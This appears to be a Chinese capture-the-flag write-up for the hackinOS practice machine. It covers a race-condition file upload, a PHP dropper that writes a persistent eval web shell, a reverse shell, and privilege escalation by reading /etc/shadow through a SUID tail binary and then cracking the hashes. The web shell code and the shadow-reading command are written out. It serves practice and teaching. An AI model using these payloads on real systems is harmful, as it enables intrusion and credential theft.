“ 条件竞争”
01
—
文件上传
拿到靶机,扫描一下端口,-p- -Pn 扫,防止漏端口:
发现8000这个端口,直接上三个扫描器:dirsearch,dirb ,nikto
扫出来看到了wordpress的站点,但是有一个upload.php页面,进去看一看,发现响应包里面有提示:
看了一下,给了upload的源码:
代码审计一下:上传的文件,文件全名后面加一个1-100的随机数,然后整体MD5,解决也好解决,上传文件后,直接爆破文件名,配合bp的规则做MD5爆破,思路是这样,但是。。。他果然没那么好整,经过测试,上传的图片马虽然成功,但是他会在做完检测后就全部删除文件夹下面php结尾的文件,导致我刚连上蚁剑,一会就断开了,这个时候换个套路,我们上传一个生成shell.php的木马,在它没有被删除之前,访问它,让它在上一层目录下面写入一句话木马,这样就可以稳定连接蚁剑了:
fwrite(fopen(
'../shell.php'
,
'w'
),
'<?php @eval($_POST["x"]); ?>'
)
#特洛伊小木马
爆破我们的文件名:
有点像条件竞争,动作要快:
访问特洛伊木马后,到上一层目录查看我们的一句话木马,连蚁剑:
查看uploads文件夹,发现刚刚上传的特洛伊木马都没有了:
突破边界!
nc反弹一个shell,换交互式shell:
python -
c
'
import
pty; pty.spawn("/bin/bash")'
各种信息收集,跑了一下Linpeas.sh,发现suid有一个tail命令,可以用它来看看shadow文件:
(tail 命令可用于查看文件的内容,有一个常用的参数 -f 常用于查阅正在改变的日志文件。tail -f filename 会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。
tail [参数] [文件]
参数:
-f 循环读取
-q 不显示处理信息
-v 显示详细的处理信息
-c<数目> 显示的字节数
-n<行数> 显示文件的尾部 n 行内容
–pid=PID 与-f合用,表示在进程ID,PID死掉之后结束
-q,–quiet,–silent 从不输出给出文件名的首部
-s,–sleep-interval=S 与-f合用,表示在每次反复的间隔休眠S秒)
(/etc/shadow 文件用于存储 Linux 系统中用户的密码信息,又称为“影子文件”,只有 root 用户拥有读权限,其他用户没有任何权限,这样就保证了用户密码的安全性)
查看shadow文件:
tail -c1G /etc/shadow
保存下来跑一下john:
登录ROOT查看flag:
打完收工
02 —
总结
这个靶机的突破点在文件上传部分,这又需要我们有一点代码审计的能力,通过阅读代码进行相应的绕过,很考验我们的方法,提权部分就是看tail命令了
原文始发于微信公众号(重生者安全团队):打靶练习15-hackinOS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论